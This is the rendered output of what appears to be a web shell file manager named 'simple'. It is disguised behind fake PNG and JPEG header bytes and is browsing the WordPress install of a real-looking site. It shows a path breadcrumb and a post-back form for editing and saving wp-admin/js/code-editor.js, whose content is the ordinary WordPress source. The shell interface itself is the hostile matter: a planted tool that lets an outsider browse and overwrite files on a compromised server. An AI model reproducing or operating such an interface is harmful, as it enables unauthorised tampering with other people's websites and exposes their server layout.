�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.daderdo.at%2F'>www.daderdo.at</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.daderdo.at%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.daderdo.at%2Fhtdocs%2Fwp-admin%2F'>wp-admin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.daderdo.at%2Fhtdocs%2Fwp-admin%2Fjs%2F'>js</a>/</p><hr><h3>✏️ Editing: code-editor.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/**
 * @output wp-admin/js/code-editor.js
 */

/* global console */

/* eslint-env es2020 */

if ( &#039;undefined&#039; === typeof window.wp ) {
	/**
	 * @namespace wp
	 */
	window.wp = {};
}
if ( &#039;undefined&#039; === typeof window.wp.codeEditor ) {
	/**
	 * @namespace wp.codeEditor
	 */
	window.wp.codeEditor = {};
}

/**
 * @typedef {object} CodeMirrorState
 * @property {boolean} [completionActive] - Whether completion is active.
 * @property {boolean} [focused] - Whether the editor is focused.
 */

/**
 * @typedef {import(&#039;codemirror&#039;).EditorFromTextArea &amp; {
 *   options: import(&#039;codemirror&#039;).EditorConfiguration,
 *   performLint?: () =&gt; void,
 *   showHint?: (options: import(&#039;codemirror&#039;).ShowHintOptions) =&gt; void,
 *   state: CodeMirrorState
 * }} CodeMirrorEditor
 */

/**
 * @typedef {object} LintAnnotation
 * @property {string} message - Message.
 * @property {&#039;error&#039;|&#039;warning&#039;} severity - Severity.
 * @property {import(&#039;codemirror&#039;).Position} from - From position.
 * @property {import(&#039;codemirror&#039;).Position} to - To position.
 */

/**
 * @typedef {object} CodeMirrorTokenState
 * @property {object} [htmlState] - HTML state.
 * @property {string} [htmlState.tagName] - Tag name.
 * @property {CodeMirrorTokenState} [curState] - Current state.
 */

/**
 * @typedef {import(&#039;codemirror&#039;).EditorConfiguration &amp; {
 *   lint?: boolean | CombinedLintOptions,
 *   autoCloseBrackets?: boolean,
 *   matchBrackets?: boolean,
 *   continueComments?: boolean,
 *   styleActiveLine?: boolean
 * }} CodeMirrorSettings
 */

/**
 * @typedef {object} CSSLintRules
 * @property {boolean} [errors] - Errors.
 * @property {boolean} [box-model] - Box model rules.
 * @property {boolean} [display-property-grouping] - Display property grouping rules.
 * @property {boolean} [duplicate-properties] - Duplicate properties rules.
 * @property {boolean} [known-properties] - Known properties rules.
 * @property {boolean} [outline-none] - Outline none rules.
 */

/**
 * @typedef {object} JSHintRules
 * @property {number} [esversion] - ECMAScript version.
 * @property {boolean} [module] - Whether to use modules.
 * @property {boolean} [boss] - Whether to allow assignments in control expressions.
 * @property {boolean} [curly] - Whether to require curly braces.
 * @property {boolean} [eqeqeq] - Whether to require === and !==.
 * @property {boolean} [eqnull] - Whether to allow == null.
 * @property {boolean} [expr] - Whether to allow expressions.
 * @property {boolean} [immed] - Whether to require immediate function invocation.
 * @property {boolean} [noarg] - Whether to prohibit arguments.caller/callee.
 * @property {boolean} [nonbsp] - Whether to prohibit non-breaking spaces.
 * @property {string} [quotmark] - Quote mark preference.
 * @property {boolean} [undef] - Whether to prohibit undefined variables.
 * @property {boolean} [unused] - Whether to prohibit unused variables.
 * @property {boolean} [browser] - Whether to enable browser globals.
 * @property {Record&lt;string, boolean&gt;} [globals] - Global variables.
 */

/**
 * @typedef {object} HTMLHintRules
 * @property {boolean} [tagname-lowercase] - Tag name lowercase rules.
 * @property {boolean} [attr-lowercase] - Attribute lowercase rules.
 * @property {boolean} [attr-value-double-quotes] - Attribute value double quotes rules.
 * @property {boolean} [doctype-first] - Doctype first rules.
 * @property {boolean} [tag-pair] - Tag pair rules.
 * @property {boolean} [spec-char-escape] - Spec char escape rules.
 * @property {boolean} [id-unique] - ID unique rules.
 * @property {boolean} [src-not-empty] - Src not empty rules.
 * @property {boolean} [attr-no-duplication] - Attribute no duplication rules.
 * @property {boolean} [alt-require] - Alt require rules.
 * @property {string} [space-tab-mixed-disabled] - Space tab mixed disabled rules.
 * @property {boolean} [attr-unsafe-chars] - Attribute unsafe chars rules.
 * @property {JSHintRules} [jshint] - JSHint rules.
 * @property {CSSLintRules} [csslint] - CSSLint rules.
 */

/**
 * Settings for the code editor.
 *
 * @typedef {object} CodeEditorSettings
 *
 * @property {CodeMirrorSettings} [codemirror] - CodeMirror settings.
 * @property {CSSLintRules} [csslint] - CSSLint rules.
 * @property {JSHintRules} [jshint] - JSHint rules.
 * @property {HTMLHintRules} [htmlhint] - HTMLHint rules.
 *
 * @property {(codemirror: CodeMirrorEditor, event: KeyboardEvent|JQuery.KeyDownEvent) =&gt; void} [onTabNext] - Callback to handle tabbing to the next tabbable element.
 * @property {(codemirror: CodeMirrorEditor, event: KeyboardEvent|JQuery.KeyDownEvent) =&gt; void} [onTabPrevious] - Callback to handle tabbing to the previous tabbable element.
 * @property {(errorAnnotations: LintAnnotation[], annotations: LintAnnotation[], annotationsSorted: LintAnnotation[], cm: CodeMirrorEditor) =&gt; void} [onChangeLintingErrors] - Callback for when the linting errors have changed.
 * @property {(errorAnnotations: LintAnnotation[], editor: CodeMirrorEditor) =&gt; void} [onUpdateErrorNotice] - Callback for when error notice should be displayed.
 */

/**
 * @typedef {import(&#039;codemirror/addon/lint/lint&#039;).LintStateOptions&lt;Record&lt;string, unknown&gt;&gt; &amp; JSHintRules &amp; CSSLintRules &amp; { rules?: HTMLHintRules }} CombinedLintOptions
 */

/**
 * @typedef {object} CodeEditorInstance
 * @property {CodeEditorSettings} settings - The code editor settings.
 * @property {CodeMirrorEditor} codemirror - The CodeMirror instance.
 * @property {() =&gt; void} updateErrorNotice - Force update the error notice.
 */

/**
 * @typedef {object} WpCodeEditor
 * @property {CodeEditorSettings} defaultSettings - Default settings.
 * @property {(textarea: string|JQuery|Element, settings?: CodeEditorSettings) =&gt; CodeEditorInstance} initialize - Initialize.
 */

/**
 * @param {JQueryStatic} $ - jQuery.
 * @param {Object &amp; {
 *   codeEditor: WpCodeEditor,
 *   CodeMirror: typeof import(&#039;codemirror&#039;),
 * }} wp - WordPress namespace.
 */
( function( $, wp ) {
	&#039;use strict&#039;;

	/**
	 * Default settings for code editor.
	 *
	 * @since 4.9.0
	 * @type {CodeEditorSettings}
	 */
	wp.codeEditor.defaultSettings = {
		codemirror: {},
		csslint: {},
		htmlhint: {},
		jshint: {},
		onTabNext: function() {},
		onTabPrevious: function() {},
		onChangeLintingErrors: function() {},
		onUpdateErrorNotice: function() {},
	};

	/**
	 * Configure linting.
	 *
	 * @param {CodeEditorSettings} settings - Code editor settings.
	 *
	 * @return {LintingController} Linting controller.
	 */
	function configureLinting( settings ) { // eslint-disable-line complexity
		/** @type {LintAnnotation[]} */
		let currentErrorAnnotations = [];

		/** @type {LintAnnotation[]} */
		let previouslyShownErrorAnnotations = [];

		/**
		 * Call the onUpdateErrorNotice if there are new errors to show.
		 *
		 * @param {import(&#039;codemirror&#039;).Editor} editor - Editor.
		 * @return {void}
		 */
		function updateErrorNotice( editor ) {
			if ( settings.onUpdateErrorNotice &amp;&amp; ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) {
				settings.onUpdateErrorNotice( currentErrorAnnotations, /** @type {CodeMirrorEditor} */ ( editor ) );
				previouslyShownErrorAnnotations = currentErrorAnnotations;
			}
		}

		/**
		 * Get lint options.
		 *
		 * @return {CombinedLintOptions|false} Lint options.
		 */
		function getLintOptions() { // eslint-disable-line complexity
			/** @type {CombinedLintOptions | boolean} */
			let options = settings.codemirror?.lint ?? false;

			if ( ! options ) {
				return false;
			}

			if ( true === options ) {
				options = {};
			} else if ( _.isObject( options ) ) {
				options = $.extend( {}, options );
			}
			const linterOptions = /** @type {CombinedLintOptions} */ ( options );

			// Configure JSHint.
			if ( &#039;javascript&#039; === settings.codemirror?.mode &amp;&amp; settings.jshint ) {
				$.extend( linterOptions, settings.jshint );
			}

			// Configure CSSLint.
			if ( &#039;css&#039; === settings.codemirror?.mode &amp;&amp; settings.csslint ) {
				$.extend( linterOptions, settings.csslint );
			}

			// Configure HTMLHint.
			if ( &#039;htmlmixed&#039; === settings.codemirror?.mode &amp;&amp; settings.htmlhint ) {
				linterOptions.rules = $.extend( {}, settings.htmlhint );

				if ( settings.jshint &amp;&amp; linterOptions.rules ) {
					linterOptions.rules.jshint = settings.jshint;
				}
				if ( settings.csslint &amp;&amp; linterOptions.rules ) {
					linterOptions.rules.csslint = settings.csslint;
				}
			}

			// Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice.
			linterOptions.onUpdateLinting = (function( onUpdateLintingOverridden ) {
				/**
				 * @param {LintAnnotation[]} annotations - Annotations.
				 * @param {LintAnnotation[]} annotationsSorted - Sorted annotations.
				 * @param {CodeMirrorEditor} cm - Editor.
				 */
				return function( annotations, annotationsSorted, cm ) {
					const errorAnnotations = annotations.filter( function( annotation ) {
						return &#039;error&#039; === annotation.severity;
					} );

					if ( onUpdateLintingOverridden ) {
						onUpdateLintingOverridden( annotations, annotationsSorted, cm );
					}

					// Skip if there are no changes to the errors.
					if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) {
						return;
					}

					currentErrorAnnotations = errorAnnotations;

					if ( settings.onChangeLintingErrors ) {
						settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm );
					}

					/*
					 * Update notifications when the editor is not focused to prevent error message
					 * from overwhelming the user during input, unless there are now no errors or there
					 * were previously errors shown. In these cases, update immediately so they can know
					 * that they fixed the errors.
					 */
					if ( ! cm.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length &gt; 0 ) {
						updateErrorNotice( cm );
					}
				};
			})( linterOptions.onUpdateLinting );

			return linterOptions;
		}

		return {
			getLintOptions,
			/**
			 * @param {CodeMirrorEditor} editor - Editor instance.
			 * @return {void}
			 */
			init: function( editor ) {
				// Keep lint options populated.
				editor.on( &#039;optionChange&#039;, function( _cm, option ) {
					const gutterName = &#039;CodeMirror-lint-markers&#039;;
					if ( &#039;lint&#039; !== ( /** @type {string} */ ( option ) ) ) {
						return;
					}
					const gutters = ( /** @type {string[]} */ ( editor.getOption( &#039;gutters&#039; ) ) ) || [];
					const options = editor.getOption( &#039;lint&#039; );
					if ( true === options ) {
						if ( ! _.contains( gutters, gutterName ) ) {
							editor.setOption( &#039;gutters&#039;, [ gutterName ].concat( gutters ) );
						}
						editor.setOption( &#039;lint&#039;, getLintOptions() ); // Expand to include linting options.
					} else if ( ! options ) {
						editor.setOption( &#039;gutters&#039;, _.without( gutters, gutterName ) );
					}

					// Force update on error notice to show or hide.
					if ( editor.getOption( &#039;lint&#039; ) &amp;&amp; editor.performLint ) {
						editor.performLint();
					} else {
						currentErrorAnnotations = [];
						updateErrorNotice( editor );
					}
				} );

				// Update error notice when leaving the editor.
				editor.on( &#039;blur&#039;, updateErrorNotice );

				// Work around hint selection with mouse causing focus to leave editor.
				editor.on( &#039;startCompletion&#039;, function() {
					editor.off( &#039;blur&#039;, updateErrorNotice );
				} );
				editor.on( &#039;endCompletion&#039;, function() {
					const editorRefocusWait = 500;
					editor.on( &#039;blur&#039;, updateErrorNotice );

					// Wait for editor to possibly get re-focused after selection.
					_.delay( function() {
						if ( ! editor.state.focused ) {
							updateErrorNotice( editor );
						}
					}, editorRefocusWait );
				} );

				/*
				 * Make sure setting validities are set if the user tries to click Publish
				 * while an autocomplete dropdown is still open. The Customizer will block
				 * saving when a setting has an error notifications on it. This is only
				 * necessary for mouse interactions because keyboards will have already
				 * blurred the field and cause onUpdateErrorNotice to have already been
				 * called.
				 */
				$( document.body ).on( &#039;mousedown&#039;, function( /** @type {JQuery.MouseDownEvent} */ event ) {
					if (
						editor.state.focused &amp;&amp;
						! editor.getWrapperElement().contains( event.target ) &amp;&amp;
						! event.target.classList.contains( &#039;CodeMirror-hint&#039; )
					) {
						updateErrorNotice( editor );
					}
				} );
			},
			/**
			 * @param {CodeMirrorEditor} editor - Editor instance.
			 * @return {void}
			 */
			updateErrorNotice,
		};
	}

	/**
	 * Configure tabbing.
	 *
	 * @param {CodeMirrorEditor} codemirror - Editor.
	 * @param {CodeEditorSettings} settings - Code editor settings.
	 *
	 * @return {void}
	 */
	function configureTabbing( codemirror, settings ) {
		const $textarea = $( codemirror.getTextArea() );

		codemirror.on( &#039;blur&#039;, function() {
			$textarea.data( &#039;next-tab-blurs&#039;, false );
		});
		codemirror.on( &#039;keydown&#039;, function onKeydown( _editor, event ) {
			// Take note of the ESC keypress so that the next TAB can focus outside the editor.
			if ( &#039;Escape&#039; === event.key ) {
				$textarea.data( &#039;next-tab-blurs&#039;, true );
				return;
			}

			// Short-circuit if tab key is not being pressed or the tab key press should move focus.
			if ( &#039;Tab&#039; !== event.key || ! $textarea.data( &#039;next-tab-blurs&#039; ) ) {
				return;
			}

			// Focus on previous or next focusable item.
			if ( event.shiftKey &amp;&amp; settings.onTabPrevious ) {
				settings.onTabPrevious( codemirror, event );
			} else if ( ! event.shiftKey &amp;&amp; settings.onTabNext ) {
				settings.onTabNext( codemirror, event );
			}

			// Reset tab state.
			$textarea.data( &#039;next-tab-blurs&#039;, false );

			// Prevent tab character from being added.
			event.preventDefault();
		});
	}

	/**
	 * @typedef {object} LintingController
	 * @property {() =&gt; CombinedLintOptions|false} getLintOptions - Get lint options.
	 * @property {(editor: CodeMirrorEditor) =&gt; void} init - Initialize.
	 * @property {(editor: import(&#039;codemirror&#039;).Editor) =&gt; void} updateErrorNotice - Update error notice.
	 */

	/**
	 * Initialize Code Editor (CodeMirror) for an existing textarea.
	 *
	 * @since 4.9.0
	 *
	 * @param {string|JQuery&lt;HTMLElement&gt;|HTMLElement} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor.
	 * @param {CodeEditorSettings}    [settings] - Settings to override defaults.
	 *
	 * @return {CodeEditorInstance} Instance.
	 */
	wp.codeEditor.initialize = function initialize( textarea, settings ) {
		if ( document.readyState === &#039;loading&#039; ) {
			console.warn( &#039;wp.codeEditor.initialize() ran too early. Invoke this function in a `DOMContentLoaded` event listener.&#039; );
		}

		let $textarea;
		if ( &#039;string&#039; === typeof textarea ) {
			$textarea = $( &#039;#&#039; + textarea );
		} else {
			$textarea = $( textarea );
		}

		/** @type {CodeEditorSettings} */
		const instanceSettings = $.extend( true, {}, wp.codeEditor.defaultSettings, settings );

		const lintingController = configureLinting( instanceSettings );
		if ( instanceSettings.codemirror ) {
			instanceSettings.codemirror.lint = lintingController.getLintOptions();
		}

		const codemirror = /** @type {CodeMirrorEditor} */ ( wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror ) );

		lintingController.init( codemirror );

		/** @type {CodeEditorInstance} */
		const instance = {
			settings: instanceSettings,
			codemirror,
			updateErrorNotice: function() {
				lintingController.updateErrorNotice( codemirror );
			},
		};

		if ( codemirror.showHint ) {
			codemirror.on( &#039;inputRead&#039;, function( _editor, change ) {
				// Only trigger autocompletion for typed input or IME composition.
				if ( ! change.origin || ( &#039;+input&#039; !== change.origin &amp;&amp; ! change.origin.startsWith( &#039;*compose&#039; ) ) ) {
					return;
				}

				// Only trigger autocompletion for single-character inputs.
				// The text property is an array of strings, one for each line.
				// We check that there is only one line and that line has only one character.
				if ( 1 !== change.text.length || 1 !== change.text[0].length ) {
					return;
				}

				const char = change.text[0];
				const isAlphaKey = /^[a-zA-Z]$/.test( char );
				if ( codemirror.state.completionActive &amp;&amp; isAlphaKey ) {
					return;
				}

				// Prevent autocompletion in string literals or comments.
				const token = /** @type {import(&#039;codemirror&#039;).Token &amp; { state: CodeMirrorTokenState }} */ ( codemirror.getTokenAt( codemirror.getCursor() ) );
				if ( &#039;string&#039; === token.type || &#039;comment&#039; === token.type ) {
					return;
				}

				const innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name;
				const doc = codemirror.getDoc();
				const lineBeforeCursor = doc.getLine( doc.getCursor().line ).slice( 0, doc.getCursor().ch );
				let shouldAutocomplete = false;
				if ( &#039;html&#039; === innerMode || &#039;xml&#039; === innerMode ) {
					shouldAutocomplete = (
						&#039;&lt;&#039; === char ||
						( &#039;/&#039; === char &amp;&amp; &#039;tag&#039; === token.type ) ||
						( isAlphaKey &amp;&amp; &#039;tag&#039; === token.type ) ||
						( isAlphaKey &amp;&amp; &#039;attribute&#039; === token.type ) ||
						( &#039;=&#039; === char &amp;&amp; !! (
							token.state.htmlState?.tagName ||
							token.state.curState?.htmlState?.tagName
						) )
					);
				} else if ( &#039;css&#039; === innerMode ) {
					shouldAutocomplete =
						isAlphaKey ||
						&#039;:&#039; === char ||
						( &#039; &#039; === char &amp;&amp; /:\s+$/.test( lineBeforeCursor ) );
				} else if ( &#039;javascript&#039; === innerMode ) {
					shouldAutocomplete = isAlphaKey || &#039;.&#039; === char;
				} else if ( &#039;clike&#039; === innerMode &amp;&amp; &#039;php&#039; === codemirror.options.mode ) {
					shouldAutocomplete = isAlphaKey &amp;&amp; ( &#039;keyword&#039; === token.type || &#039;variable&#039; === token.type );
				}
				if ( shouldAutocomplete ) {
					codemirror.showHint( { completeSingle: false } );
				}
			} );
		}

		// Facilitate tabbing out of the editor.
		configureTabbing( codemirror, instanceSettings );

		return instance;
	};

})( jQuery, window.wp );
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.daderdo.at%2Fhtdocs%2Fwp-admin%2Fjs'>🔙 Back</a></p>